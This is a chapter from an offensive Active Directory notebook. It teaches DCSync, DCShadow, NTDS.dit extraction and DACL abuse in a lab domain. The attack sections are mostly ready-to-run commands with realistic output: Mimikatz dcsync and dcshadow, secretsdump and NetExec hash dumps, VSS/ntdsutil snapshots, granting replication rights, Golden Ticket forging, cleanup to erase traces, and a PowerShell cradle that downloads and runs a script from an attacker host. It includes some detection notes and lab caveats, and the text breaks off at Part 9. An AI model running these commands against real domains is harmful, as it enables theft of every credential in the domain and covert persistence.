DCSync, DCShadow & Domain Dominance

This is Chapter 7 of the Active Directory attack notebook — Notebook 18. Chapter 6 closed the ticket-forgery arc: once you hold the krbtgt key you can forge a Golden Ticket and impersonate anyone in the forest. This chapter answers the question that comes right before that one — how do you get the krbtgt key, and every other secret in the domain, without ever touching a Domain Controller's disk or logging on to it interactively? The answer is DCSync: you ask a real Domain Controller to hand you those secrets over the wire, using the exact same protocol that Domain Controllers use to replicate with each other.

Active Directory is a multi-master, replicated database. Every writable Domain Controller (DC) holds a full copy of the directory and continuously synchronises changes with its peers using the Directory Replication Service Remote Protocol (MS-DRSR), exposed over RPC as the DRSUAPI interface. Replication is not an afterthought bolted onto AD — it is the beating heart of how a forest stays consistent. And replication, by design, includes secrets: password hashes, Kerberos keys, the krbtgt key, trust keys, everything. If a DC could not replicate secrets, a second DC could never authenticate a user. DCSync is the abuse of this legitimate machinery: an attacker who controls a principal with the right replication permissions calls the DRSGetNCChanges operation and says, in effect, "I am a Domain Controller, please replicate the secrets for this account to me" — and the DC complies, because the request is protocol-valid and the caller has the rights.

DCShadow is the mirror image. Instead of reading the directory via replication, it writes to it. DCShadow temporarily registers the attacker's machine as a rogue Domain Controller in the forest's configuration, then pushes a crafted replication update — an inbound GetNCChanges reply — that plants arbitrary attribute values (a new SIDHistory, a modified primaryGroupID, a resource-based delegation blob) directly into the real directory. Because the change arrives through the replication channel rather than through a normal LDAP write on a monitored DC, it slips past a great deal of conventional object-level auditing.

The single fact to internalise before anything else: replication rights are domain-dominance rights. The ability to replicate secrets is functionally equivalent to Domain Admin, because it yields the krbtgt key (Golden Tickets, forever), every user's NT hash (Pass-the-Hash against everyone), and every trust key (cross-domain compromise). This is why the crown-jewel objects of a red-team engagement are not "Domain Admins group membership" but the two extended rights that grant replication — and why one of the most common, most overlooked misconfigurations in real forests is a service account, a stale admin group, or a delegated help-desk principal that has been handed those rights by accident.

Everything in this chapter assumes an explicit, written, scoped engagement or a lab you built yourself (Part 12 shows how to stand one up). DCSync against a production forest exfiltrates every credential in the domain in seconds; DCShadow rewrites the source of truth for authentication. Treat both with the gravity the defenders on the other side treat them.

Part 1: The Big Picture — Why Replication Is a Superpower

Before any tooling, you need a mental model of what you are abusing and why it is so total.

A single AD domain can have many Domain Controllers for availability and locality. There is no single "primary" DC in modern AD (the NT4-era PDC/BDC model is gone; the "PDC Emulator" is just an FSMO role, not a master copy). Every writable DC holds a complete, writable replica of the domain's naming context. When an administrator resets a password on DC-A, that change must reach DC-B, DC-C and every other DC, or a user who authenticates against DC-B would still have the old password. AD solves this with multi-master replication: DCs pull changes from each other on a schedule and on demand.

The unit of "what gets replicated" is a naming context (NC), also called a partition. Three matter here:

• The Domain NC (e.g. DC=corp,DC=local) — users, groups, computers, and their secret attributes.
• The Configuration NC (CN=Configuration,DC=corp,DC=local) — the forest-wide description of the topology itself: sites, subnets, services, and crucially the list of which servers are Domain Controllers. DCShadow abuses this partition.
• The Schema NC (CN=Schema,CN=Configuration,...) — attribute and class definitions.

Replication of secrets is gated by two extended rights (control access rights, expressed as GUIDs in an object's DACL):

To perform a full DCSync of a user's secrets you need both Get-Changes and Get-Changes-All on the domain object. Members of Domain Admins, Enterprise Admins, and the Domain Controllers group hold these by default. The whole attack surface is: who else has been granted them?

flowchart LR
    A[Attacker controls a principal] --> B{Has replication rights<br/>on the domain NC?}
    B -->|Get-Changes + Get-Changes-All| C[Call DRSGetNCChanges<br/>via DRSUAPI RPC]
    C --> D[DC replies with secret<br/>attributes for target account]
    D --> E[krbtgt hash / user NT hashes /<br/>trust keys extracted]
    E --> F[Golden Ticket, Pass-the-Hash,<br/>Silver Ticket, cross-domain]
    B -->|No rights| G[Grant them via ACL abuse<br/>Add-DomainObjectAcl]
    G --> B

The elegance — and the danger — is that DCSync requires no code execution on the DC, no service creation, no touching NTDS.dit on disk, and no interactive logon. It is a single legitimate RPC call from anywhere the attacker can reach the DC's RPC endpoint (TCP 135 + the dynamically allocated DRSUAPI port, or the fixed port if the admin pinned it). To the DC, the request looks like a peer DC doing its job.

Red team usage: DCSync is the canonical "domain-dominance confirmation" step. The moment you land on a principal that BloodHound flags with GetChanges/GetChangesAll, you dump krbtgt and you own the domain's authentication forever (until krbtgt is double-rotated — see Chapter 6). Blue team usage: because the operation is a specific DRSUAPI call, it is detectable at the network and at the DC (Event ID 4662 with the replication GUIDs) — the defensive half of this chapter is about making that detection reliable.

Part 2: How AD Replication Actually Works (DRSUAPI, GetNCChanges, USNs)

To abuse replication competently — and to understand exactly what defenders can and cannot see — you need to know how a real replication cycle runs. This section rebuilds it.

2.1 The transport: RPC over the DRSUAPI interface

Domain Controllers replicate using RPC bound to the DRSUAPI interface, whose interface UUID is E3514235-4B06-11D1-AB04-00C04FC2DCD2. The classic flow:

1. The requesting DC binds to the target DC's \PIPE\lsass / RPC endpoint and calls DRSBind to establish a replication session, negotiating capabilities (the "extensions" bitmask that says which DRS features each side supports).
2. It then calls DRSGetNCChanges (opnum 3) to pull changes for a naming context, passing the NC, a "high-water mark" (how up-to-date the caller already is), and a flag set describing what it wants (including whether it wants secret attributes).
3. The source DC replies with a set of objects and attribute values that changed since the caller's high-water mark, plus updated replication metadata.

DCSync is nothing more than a rogue caller performing steps 1–2 with a request scoped to a single object (the target user) and asking for its secret attributes.

sequenceDiagram
    participant A as Attacker (fake DC)
    participant DC as Real Domain Controller
    A->>DC: DRSBind(NTDSAPI client GUID, DRS extensions)
    DC-->>A: bind handle + supported extensions
    A->>DC: DRSGetNCChanges(NC=corp.local,<br/>uuid=target user, flags=SECRETS)
    DC->>DC: Check caller SID has<br/>Get-Changes + Get-Changes-All
    DC-->>A: object + attributes<br/>(unicodePwd, supplementalCredentials, ...)
    A->>A: Decrypt with session key,<br/>render NT hash / AES keys

2.2 USNs, high-water marks and metadata

Every writable DC maintains a monotonically increasing Update Sequence Number (USN). Every originating or replicated change bumps the local USN and stamps the changed attribute with replication metadata: which DC originated the change (uSNChanged, whenChanged, and a per-attribute version + originating DSA GUID). When DC-B pulls from DC-A, it sends the highest USN it has already seen from DC-A (the high-water mark). DC-A returns only newer changes. This is why replication is efficient — it is delta-based.

Why this matters to an attacker: a legitimate replication touches many objects and advances metadata. A DCSync of a single account is a tiny, targeted GetNCChanges that asks for one object's secrets and does not originate a change — so on the source DC it leaves a read-style footprint (a directory-access event), not a modification. This asymmetry is exactly why DCSync is quiet on the change logs but noisy on the access logs if directory-access auditing is on. DCShadow, by contrast, originates changes and therefore has to briefly masquerade as a DC that is allowed to originate them.

2.3 What "secrets" look like on the wire

When a DC replicates a user, secret attributes are encrypted with the replication session key (derived during DRSBind) and packed as ATTRTYP/ATTRVAL blobs. The interesting ones:

secretsdump and Mimikatz do the decryption and structure-parsing for you, but knowing the blobs exist explains why DCSync yields not just NT hashes but AES Kerberos keys (needed for AES-only Golden Tickets and better opsec) and sometimes cleartext passwords.

Part 3: DCSync vs. Raw NTDS Extraction — Two Roads to the Same Hashes

DCSync is one of two fundamentally different ways to obtain the domain's password hashes. Understanding the difference sharpens both your offense and your detection.

Road 1 — DCSync (over-the-wire replication). You call DRSGetNCChanges from a principal with replication rights. No file access, no code execution on the DC. You can target a single account or enumerate all of them. Footprint: a directory-service access event on the source DC; network RPC to DRSUAPI.

Road 2 — Raw NTDS.dit extraction (on-box). The directory database lives in C:\Windows\NTDS\NTDS.dit, an ESE (Extensible Storage Engine / "Jet Blue") database. It is locked while the DC runs, so you cannot simply copy it. Instead you snapshot it — via Volume Shadow Copy (VSS), ntdsutil "ifm", or esentutl — then carry off NTDS.dit plus the SYSTEM registry hive (which holds the boot key / SysKey used to decrypt the PEK that in turn decrypts the hashes). Footprint: shadow-copy creation, file access, often service/ntdsutil execution — much noisier on the host, but invisible to replication-access auditing.

flowchart TD
    Goal[Obtain domain hashes] --> R1[DCSync over DRSUAPI]
    Goal --> R2[Extract NTDS.dit on-box]
    R1 --> R1a[secretsdump -just-dc / mimikatz dcsync]
    R2 --> R2a[VSS snapshot or ntdsutil IFM]
    R2a --> R2b[Grab NTDS.dit + SYSTEM hive]
    R2b --> R2c[secretsdump -ntds NTDS.dit -system SYSTEM LOCAL]
    R1a --> H[krbtgt + all NT hashes + AES keys]
    R2c --> H

Pentester decision rule: if you already hold a principal with replication rights, prefer DCSync — it is quieter on the host and needs no file wrangling. If you have local admin on the DC but not replication rights on a suitable principal, go the NTDS route (or grant yourself replication rights via ACL abuse and then DCSync). Both end at the same krbtgt key.

3.1 NTDS.dit internals — how the hashes are actually stored

NTDS.dit is an ESE (Jet Blue) database with three tables that matter: the datatable (every object and attribute — this is where user rows and their encrypted unicodePwd live), the link_table (linked attributes like member/memberOf), and the sd_table (security descriptors). Password hashes are not stored in cleartext-hash form directly; they are encrypted with a layered scheme:

1. The BootKey / SysKey is assembled from four registry keys under HKLM\SYSTEM\CurrentControlSet\Control\Lsa (JD, Skew1, GBG, Data) — this is why offline extraction needs the SYSTEM hive.
2. The BootKey decrypts the PEK (Password Encryption Key), stored (itself encrypted) in the datatable.
3. The PEK decrypts each account's unicodePwd/supplementalCredentials. On modern DCs the per-hash encryption is AES (older DCs used RC4 with a per-record salt).

So the offline chain is: SYSTEM hive → BootKey → PEK → per-account NT hash / Kerberos keys. secretsdump.py implements every step of this; understanding it explains why you must grab both NTDS.dit and the SYSTEM hive — one without the other is useless.

3.2 Worked on-box extraction (Road 2)

When you have local admin / SYSTEM on a DC but no convenient replication-rights principal, snapshot the locked database. The cleanest native method is ntdsutil's Install-From-Media (IFM) export, which produces a consistent copy of both the database and the hive:

ntdsutil "activate instance ntds" "ifm" "create full C:\Windows\Temp\ifm" quit quit

Realistic output:

ifm: create full C:\Windows\Temp\ifm
Creating snapshot...
Snapshot set {b3...} generated successfully.
Snapshot {a1...} mounted as C:\$SNAP_...\
Initiating DEFRAGMENTATION mode...
     Copying registry files...
     Copying C:\Windows\Temp\ifm\registry\SYSTEM
     Copying C:\Windows\Temp\ifm\registry\SECURITY
     Copying ntds.dit...
     Copying C:\Windows\Temp\ifm\Active Directory\ntds.dit
IFM media created successfully in C:\Windows\Temp\ifm

Alternatively, a raw VSS snapshot copies the live files out from under the lock:

vssadmin create shadow /for=C:
:: note the "Shadow Copy Volume" path it prints, then:
copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\NTDS.dit C:\Windows\Temp\ntds.dit
reg save HKLM\SYSTEM C:\Windows\Temp\SYSTEM
vssadmin delete shadows /shadow={the-shadow-id} /quiet

Exfil ntds.dit + SYSTEM, then parse offline on Kali (no auth, no network to the DC):

secretsdump.py -ntds ntds.dit -system SYSTEM LOCAL -outputfile corp_offline

[*] Target system bootKey: 0x8f2c...redacted
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: a4c1...redacted
[*] Reading and decrypting hashes from ntds.dit
Administrator:500:aad3b435b51404eeaad3b435b51404ee:2b576acbe6b...:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5c1f3f2a...a19b:::
...

Blue team usage: the VSS/IFM path is loud on the host — vssadmin create shadow (Event 8222 / VSS operational log), ntdsutil process execution, and file access to NTDS.dit are all high-fidelity signals. This is exactly why an attacker with replication rights prefers DCSync: it produces none of these host artefacts, only the directory-access 4662 event. The two roads have almost disjoint detection surfaces, which is why defenders must monitor both.

Part 4: Tooling From Scratch — Mimikatz, Impacket secretsdump, NetExec, PowerView

This chapter uses four tools. Each is taught from zero the first time it appears.

4.1 Mimikatz

What it is. Mimikatz is Benjamin Delpy's (gentilkiwi) Windows post-exploitation toolkit — the single most important credential-attack tool in the AD ecosystem. It interacts with LSASS, Kerberos, and the DRSUAPI client to extract and forge credentials. It is a native Windows PE (also embedded in Cobalt Strike, Metasploit's kiwi, and countless loaders).

Why it exists. It began as a proof that Windows stored recoverable credentials in memory (WDigest cleartext) and grew into the reference implementation for Pass-the-Hash, Pass-the-Ticket, Golden/Silver Tickets, DCSync and DCShadow.

Install on Kali (for cross-compilation/relay) / run on Windows. Mimikatz runs on Windows. On an engagement you drop mimikatz.exe (x64) onto a foothold, or run it in-memory via a loader to dodge AV. The relevant modules here:

• lsadump::dcsync — perform DCSync against a DC.
• lsadump::dcshadow — register a rogue DC and push changes.
• privilege::debug — acquire SeDebugPrivilege (needed for many LSASS operations, not strictly for dcsync).

Core DCSync workflow:

mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt

Realistic (trimmed) output:

[DC] 'corp.local' will be the domain
[DC] 'DC01.corp.local' will be the DC server
[DC] 'krbtgt' will be the user account
[rpc] Service  : ldap
[rpc] AuthnSvc : GSS_NEGOTIATE (9)

Object RDN           : krbtgt

** SAM ACCOUNT **
SAM Username         : krbtgt
Account Type         : 30000000 ( USER_OBJECT )
User Account Control : 00000202 ( ACCOUNTDISABLE NORMAL_ACCOUNT )
Password last change : 6/14/2025 9:12:44 AM
Object Security ID   : S-1-5-21-1583...-502
Object Relative ID   : 502

Credentials:
  Hash NTLM: 5c1f3f...redacted...a19b
    ntlm- 0: 5c1f3f...a19b
    lm  - 0: 4d94...redacted

* Primary:Kerberos-Newer-Keys *
    Default Salt : CORP.LOCALkrbtgt
    Credentials
      aes256_hmac       (4096) : 9e1f...redacted...
      aes128_hmac       (4096) : b7c2...redacted...
      des_cbc_md5       (4096) : 1a2b...redacted...

That Hash NTLM for krbtgt plus the aes256_hmac key is everything you need for a Golden Ticket (Chapter 6).

4.2 Impacket secretsdump.py

What it is. Impacket is a Python library of native network-protocol implementations (SMB, RPC, DRSUAPI, Kerberos, LDAP). secretsdump.py is its flagship credential-extraction script and the go-to for DCSync from Linux/Kali — no Windows foothold required.

Why it exists. It lets an operator on Kali speak DRSUAPI directly, so you can DCSync from your attack box the moment you have valid credentials with replication rights.

Install on Kali:

# Usually preinstalled on Kali; otherwise:
pipx install impacket
# or
git clone https://github.com/fortra/impacket && cd impacket && pipx install .

Core DCSync workflow (remote, over DRSUAPI):

# Dump only domain secrets via replication (-just-dc), password auth:
secretsdump.py corp.local/replicator:'P@ssw0rd!'@10.10.10.5 -just-dc
 
# Only NTLM hashes, skip Kerberos keys/history (faster, quieter output):
secretsdump.py corp.local/replicator:'P@ssw0rd!'@10.10.10.5 -just-dc-ntlm
 
# Target a single account (krbtgt) instead of the whole domain:
secretsdump.py corp.local/replicator@10.10.10.5 -just-dc-user krbtgt
 
# Pass-the-hash instead of a password:
secretsdump.py -hashes :5c1f3f...a19b corp.local/replicator@10.10.10.5 -just-dc

Flag-by-flag:

Realistic output of -just-dc-user krbtgt:

Impacket v0.12.0 - Copyright Fortra, LLC

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5c1f3f...a19b:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:9e1f...redacted...
krbtgt:aes128-cts-hmac-sha1-96:b7c2...redacted...
krbtgt:des-cbc-md5:1a2b...redacted...
[*] Cleaning up...

4.3 NetExec (formerly CrackMapExec)

What it is. NetExec (nxc) is a swiss-army network-execution and enumeration tool that wraps Impacket, LDAP, SMB, WinRM and more into a single CLI with module support. It can DCSync in one line and is excellent for spraying/validating credentials at scale.

Install on Kali:

pipx install git+https://github.com/Pennyw0rth/NetExec

Core DCSync workflow:

# DCSync the whole domain via the ntdsutil-less DRSUAPI path:
nxc smb 10.10.10.5 -u replicator -p 'P@ssw0rd!' --ntds
 
# Only pull enabled users, and only NTLM (no history):
nxc smb 10.10.10.5 -u replicator -p 'P@ssw0rd!' --ntds --user krbtgt

--ntds triggers the DRSUAPI dump; NetExec prints hashes in a pwdump-style line and flags accounts that are enabled/disabled.

4.4 PowerView (grant/enumerate the rights)

What it is. PowerView (part of PowerSploit / now maintained in various forks) is a PowerShell AD-reconnaissance and manipulation toolkit. Here it is used to (a) enumerate who already holds replication rights, and (b) grant those rights via Add-DomainObjectAcl when you control a principal that can write the domain object's DACL.

Load it (in-memory):

IEX (New-Object Net.WebClient).DownloadString('http://10.10.14.7/PowerView.ps1')
# or import from disk:
Import-Module .\PowerView.ps1

We use its Add-DomainObjectAcl, Get-DomainObjectAcl, and Get-ObjectAcl cmdlets in Parts 5 and 7.

Part 5: Finding Who Can DCSync — Enumeration

Before you can DCSync, you need a principal that already has the replication rights, or a path to grant them. Enumeration comes first.

5.1 With PowerView (from a Windows foothold)

The domain object's DACL contains the ACEs that grant Get-Changes / Get-Changes-All. Enumerate every principal that has one of the replication extended rights:

# Resolve the two replication GUIDs against the domain object's ACL:
$dc = Get-DomainSID
Get-DomainObjectAcl -SearchBase "DC=corp,DC=local" -SearchScope Base -ResolveGUIDs |
  Where-Object {
    ($_.ObjectAceType -match 'Replication-Get-Changes')
  } |
  Select-Object SecurityIdentifier, ObjectAceType,
    @{Name='Principal';Expression={ConvertFrom-SID $_.SecurityIdentifier}}

Realistic output:

Principal                 SecurityIdentifier      ObjectAceType
---------                 ------------------      -------------
CORP\Domain Admins        S-1-5-21-...-512        DS-Replication-Get-Changes
CORP\Domain Admins        S-1-5-21-...-512        DS-Replication-Get-Changes-All
CORP\Enterprise Admins    S-1-5-21-...-519        DS-Replication-Get-Changes-All
CORP\Domain Controllers   S-1-5-21-...-516        DS-Replication-Get-Changes-All
CORP\svc-backup           S-1-5-21-...-1607       DS-Replication-Get-Changes
CORP\svc-backup           S-1-5-21-...-1607       DS-Replication-Get-Changes-All

That last pair is gold: svc-backup is a non-default principal holding both rights. If you can compromise svc-backup, you can DCSync — no Domain Admin needed. Backup software, Azure AD Connect (MSOL_ accounts), Exchange, and Entra Connect sync accounts are classic real-world holders of these rights.

5.2 With BloodHound (the canonical way)

BloodHound (Chapter 2) models these rights as the edges GetChanges, GetChangesAll, and the composite DCSync. After collecting with SharpHound, run the built-in analytics or this Cypher query in the BloodHound GUI:

MATCH p=(n)-[:DCSync|GetChanges|GetChangesAll]->(d:Domain {name:"CORP.LOCAL"})
WHERE NOT n.name STARTS WITH "DOMAIN CONTROLLERS@"
RETURN p

BloodHound's "Find Principals with DCSync Rights" pre-built query does exactly this. The DCSync edge is drawn only when a principal holds both GetChanges and GetChangesAll — i.e. it is truly capable of dumping secrets. This is the single most valuable red-team pathfinding query in AD: it turns "who is Domain Admin?" into the more precise "who can become Domain Admin via replication?"

5.3 From Linux with Impacket / ldap

If you only have creds and a Kali box, dacledit.py (Impacket) or ldapsearch can read the nTSecurityDescriptor, but the practical path is BloodHound's bloodhound-python collector plus the Cypher query above. NetExec's LDAP module can also enumerate:

nxc ldap 10.10.10.5 -u lowpriv -p 'Passw0rd' -M daclread -o TARGET_DN="DC=corp,DC=local" ACTION=read

Blue team usage: the defenders' equivalent of this enumeration is a scheduled audit of the domain-head DACL for any non-default SID holding the replication rights. Any principal outside {Domain Admins, Enterprise Admins, Administrators, Domain Controllers, Enterprise/Read-only DCs, and the well-known replication accounts} is a finding. Part 11 gives the exact PowerShell.

Part 6: Granting Yourself DCSync — ACL Abuse (Add-DomainObjectAcl)

Frequently you do not start with a principal that has replication rights, but you do control a principal that has WriteDacl or GenericAll/GenericWrite/Owns over the domain object. Those permissions let you write a new ACE onto the domain head granting replication rights to a principal you control — and then DCSync. This is one of the most common escalation chains BloodHound surfaces.

flowchart LR
    A[Control principal with WriteDacl<br/>on the Domain object] --> B[Add ACE granting<br/>Get-Changes + Get-Changes-All<br/>to your user]
    B --> C[Your user now has DCSync rights]
    C --> D[DCSync krbtgt + Administrator]
    D --> E[Golden Ticket / PtH / full domain]

6.1 With PowerView (Windows)

# You control CORP\lowpriv and it has WriteDacl on the domain object.
# Grant lowpriv the replication rights:
$SecPassword = ConvertTo-SecureString 'Passw0rd!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('CORP\lowpriv', $SecPassword)
 
Add-DomainObjectAcl -Credential $Cred `
  -TargetIdentity "DC=corp,DC=local" `
  -PrincipalIdentity lowpriv `
  -Rights DCSync

-Rights DCSync is a PowerView convenience that adds both DS-Replication-Get-Changes and DS-Replication-Get-Changes-All ACEs in one call. Verify:

Get-DomainObjectAcl -SearchBase "DC=corp,DC=local" -SearchScope Base -ResolveGUIDs |
  ? { (ConvertFrom-SID $_.SecurityIdentifier) -eq 'CORP\lowpriv' }

Then DCSync as lowpriv. Opsec note: writing this ACE is a change on the domain head — it generates a directory-service change event (5136) if the SACL audits it, and BloodHound's post-collection would show the new edge. Mature red teams add the ACE, DCSync krbtgt only, then remove the ACE to reduce forensic residue:

Remove-DomainObjectAcl -TargetIdentity "DC=corp,DC=local" -PrincipalIdentity lowpriv -Rights DCSync

6.2 From Linux with Impacket dacledit.py

# Add DCSync rights for user 'lowpriv' on the domain head:
dacledit.py -action write -rights DCSync -principal lowpriv \
  -target-dn 'DC=corp,DC=local' \
  'corp.local/lowpriv:Passw0rd!' -dc-ip 10.10.10.5
 
# ... perform DCSync ...
 
# Clean up (remove the ACE) afterwards:
dacledit.py -action remove -rights DCSync -principal lowpriv \
  -target-dn 'DC=corp,DC=local' \
  'corp.local/lowpriv:Passw0rd!' -dc-ip 10.10.10.5

dacledit.py prints the SDDL before/after and can back up the original security descriptor with -backup — use it so you can restore exactly what was there.

Bug-bounty / CTF angle: on HackTheBox and TryHackMe AD boxes (e.g. HTB Forest, Sauna, Blackfield, Return, and countless "assumed breach" pro-lab machines), the intended path is very often "low-priv user → WriteDacl/GenericAll on domain or on a privileged group → grant DCSync → dump krbtgt → Golden Ticket → root." Recognising the WriteDacl-to-DCSync chain in BloodHound output is one of the highest-yield pattern-matches in AD CTFs.

Part 7: Fully Worked Lab — From Low-Priv User to krbtgt via DCSync

This is the reproducible end-to-end lab. Environment: a single lab domain corp.local, DC DC01 at 10.10.10.5, an attacker Kali box at 10.10.14.7, and a compromised low-privilege user lowpriv:Passw0rd! that (by lab design) holds WriteDacl on the domain object. Part 12 shows how to build this. Only run this against a lab you own or an engagement you are authorised for.

Step 0 — Validate the foothold credential

nxc smb 10.10.10.5 -u lowpriv -p 'Passw0rd!'

SMB  10.10.10.5  445  DC01  [*] Windows Server 2022 Build 20348 x64 (name:DC01) (domain:corp.local) (signing:True) (SMBv1:False)
SMB  10.10.10.5  445  DC01  [+] corp.local\lowpriv:Passw0rd! 

Step 1 — Confirm the escalation path with BloodHound

Collect from Kali and load into BloodHound:

bloodhound-python -u lowpriv -p 'Passw0rd!' -d corp.local -ns 10.10.10.5 -c All --zip

Run the Cypher query from Part 5.2 and the "Shortest paths to Domain Admins" pre-built query. BloodHound shows: LOWPRIV@CORP.LOCAL —[WriteDacl]→ CORP.LOCAL (Domain). That single edge is the whole attack.

Step 2 — Grant DCSync rights to lowpriv

dacledit.py -action write -rights DCSync -principal lowpriv \
  -target-dn 'DC=corp,DC=local' -backup \
  'corp.local/lowpriv:Passw0rd!' -dc-ip 10.10.10.5

[*] DACL backed up to dacledit-20260101-...-backup.txt
[*] DACL modified successfully!

Step 3 — DCSync the krbtgt account (surgical)

secretsdump.py corp.local/lowpriv:'Passw0rd!'@10.10.10.5 -just-dc-user krbtgt

Impacket v0.12.0 - Copyright Fortra, LLC
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:5c1f3f2a...a19b:::
[*] Kerberos keys grabbed
krbtgt:aes256-cts-hmac-sha1-96:9e1f4c...redacted
krbtgt:aes128-cts-hmac-sha1-96:b7c2aa...redacted
krbtgt:des-cbc-md5:1a2b3c...redacted
[*] Cleaning up...

You now hold the krbtgt NT hash and its AES256 key — everything needed for a Golden Ticket (Chapter 6). Also grab the built-in Administrator for immediate Pass-the-Hash:

secretsdump.py corp.local/lowpriv:'Passw0rd!'@10.10.10.5 -just-dc-user Administrator

Step 4 — (Optional) full domain dump

secretsdump.py corp.local/lowpriv:'Passw0rd!'@10.10.10.5 -just-dc -outputfile corp_dump
# Produces corp_dump.ntds (hashes) and corp_dump.ntds.kerberos (Kerberos keys)
wc -l corp_dump.ntds

Step 5 — Weaponise: Golden Ticket from the krbtgt AES key

Cross-reference Chapter 6, but the immediate payoff:

# Get the domain SID:
lookupsid.py corp.local/lowpriv:'Passw0rd!'@10.10.10.5 0 | grep 'Domain SID'
# Forge a Golden Ticket with the AES256 key (better opsec than RC4):
ticketer.py -aesKey 9e1f4c...redacted -domain-sid S-1-5-21-1583...  -domain corp.local Administrator
export KRB5CCNAME=Administrator.ccache
# Use it:
secretsdump.py -k -no-pass corp.local/Administrator@DC01.corp.local -just-dc-user krbtgt

Step 6 — Clean up the ACE

dacledit.py -action remove -rights DCSync -principal lowpriv \
  -target-dn 'DC=corp,DC=local' \
  'corp.local/lowpriv:Passw0rd!' -dc-ip 10.10.10.5

What just happened, in one line: a user with no admin rights, but with a stray WriteDacl on the domain head, granted itself replication rights, replicated the krbtgt key over the legitimate DRSUAPI channel, and forged a domain-wide skeleton key — without ever logging on to the DC.

Windows-native variant (Mimikatz)

If your foothold is a Windows box instead of Kali, Steps 3–5 become:

mimikatz # lsadump::dcsync /domain:corp.local /user:krbtgt /all /csv
mimikatz # kerberos::golden /user:Administrator /domain:corp.local /sid:S-1-5-21-1583... /aes256:9e1f4c... /ptt

Part 8: DCShadow — Writing to the Directory as a Rogue DC

DCSync reads. DCShadow writes. It is the more surgical, more advanced primitive: it lets you set any attribute on any object by pushing a replication update as if you were a legitimate Domain Controller, and it does so through the replication channel that most object-level auditing does not fully cover.

8.1 What DCShadow actually does

To originate a replicated change, the source must be a Domain Controller — meaning it must appear in the Configuration NC as an nTDSDSA object under a server in a site, and it must have SPNs (the DRS service class E3514235-4B06-11D1-AB04-00C04FC2DCD2 and a Global Catalog SPN) so peers can bind to it. DCShadow performs a temporary, minimal version of "promote to DC":

1. Register the attacker machine (or an arbitrary computer object you control) as a DC: create the nTDSDSA object in CN=Configuration, add the required SPNs to the computer account. This step needs high privilege (by default Domain/Enterprise Admin, or specific granular rights on the configuration objects — see 8.3).
2. Stage the malicious attribute values to push (e.g. add SIDHistory = S-1-5-21-...-512 to a user, so it silently gains Domain Admin membership at token-build time).
3. Trigger replication: DCShadow forces the real DC to pull from the rogue DC by calling DRSReplicaAdd / abusing the replicate now path, so the real DC fetches the staged changes and commits them to the real directory as legitimate replicated updates.
4. Unregister: tear down the nTDSDSA object and SPNs to clean up.

sequenceDiagram
    participant M as Mimikatz (rogue DC)
    participant Cfg as Config Partition (on real DC)
    participant DC as Real DC (target)
    M->>Cfg: Register nTDSDSA object + add DRS/GC SPNs
    M->>M: Stage attribute (e.g. add SIDHistory to victim)
    M->>DC: Trigger replication (DRSReplicaAdd / replicate now)
    DC->>M: DRSGetNCChanges (pull staged changes)
    M-->>DC: Reply with malicious attribute values
    DC->>DC: Commit changes as legitimate replication
    M->>Cfg: Unregister nTDSDSA + remove SPNs

8.2 Why it evades a lot of auditing

Normal attribute writes on a DC produce Directory Service Changes events (5136) tied to the LDAP write path. DCShadow's changes arrive via replication, which historically does not generate the same per-attribute 5136 modification records on the receiving DC in the way a direct LDAP write does, and the originating DC is the attacker's rogue DSA (not a monitored production DC). The registration of the nTDSDSA object is visible in the Configuration partition (object creation, and 4662 on the config objects), so DCShadow is not invisible — but it moves the footprint away from "someone modified this sensitive user object" toward the far-less-monitored "a server object appeared in the config partition for a few seconds."

8.3 The privileges DCShadow needs

By default DCShadow needs Domain Admin (to create the config objects and set SPNs). But Delpy documented a minimal rights set that lets a non-DA run it, which is the interesting attack path:

If those granular rights have been delegated (they sometimes are, to "replication management" or site-admin roles), DCShadow runs without full DA — a genuine, if uncommon, real-world escalation/persistence primitive.

8.4 DCShadow with Mimikatz — the two-process dance

DCShadow needs two Mimikatz processes running simultaneously, both typically as SYSTEM:

• Process 1 (the "server" / rogue DC) stages the attribute values and waits.
• Process 2 (the "trigger") forces the real DC to replicate from the rogue DC, then process 1 pushes and both exit.

Process 1 — stage the change (run as SYSTEM, e.g. via token::elevate or PsExec -s). This example plants a SIDHistory of Domain Admins onto the low-priv victim so the victim silently becomes DA at every logon:

mimikatz # !+                        # load the mimidrv driver (for SYSTEM ops)
mimikatz # !processtoken             # elevate to SYSTEM
mimikatz # lsadump::dcshadow /object:CN=lowpriv,CN=Users,DC=corp,DC=local /attribute:SIDHistory /value:S-1-5-21-1583...-512

Mimikatz responds that it has registered the rogue DSA and is now waiting for a push trigger:

** Domain Controller Shadow **
== Server object ==
... registering rogue nTDSDSA in CN=Configuration ...
[+] SPNs added: E3514235-4B06-11D1-AB04-00C04FC2DCD2/...  GC/...
== Object modifications ==
* CN=lowpriv,CN=Users,DC=corp,DC=local
  * sIDHistory (add): S-1-5-21-1583...-512
== Waiting for trigger (run `lsadump::dcshadow /push` from another prompt as DA) ==

Process 2 — trigger the push (run as a Domain Admin, or a principal with DS-Install-Replica):

mimikatz # lsadump::dcshadow /push

The real DC pulls from the rogue DSA, commits sIDHistory onto lowpriv, and both processes tear down the config objects. From now on, lowpriv's access token includes SID ...-512 (Domain Admins) — a stealthy, replication-blessed backdoor that survives password resets because it is an attribute on the object, not a group membership that shows up in "Domain Admins" the same way.

8.5 Attributes worth pushing with DCShadow

DCShadow is general-purpose write. High-value targets:

Persistence framing: DCShadow's value is less "first compromise" (you usually need high privilege to run it) and more stealthy persistence / privilege re-grant on an already-owned domain: it writes backdoors through a channel most defenders under-monitor, and it can immediately un-write the config residue.

Part 9: The krbtgt Payoff and Why DCSync = Permanent Domain Ownership

The reason DCSync is the single most consequential AD attack is the krbtgt account. Every TGT in the domain is encrypted/signed with the krbtgt key. Once you have replicated that key:

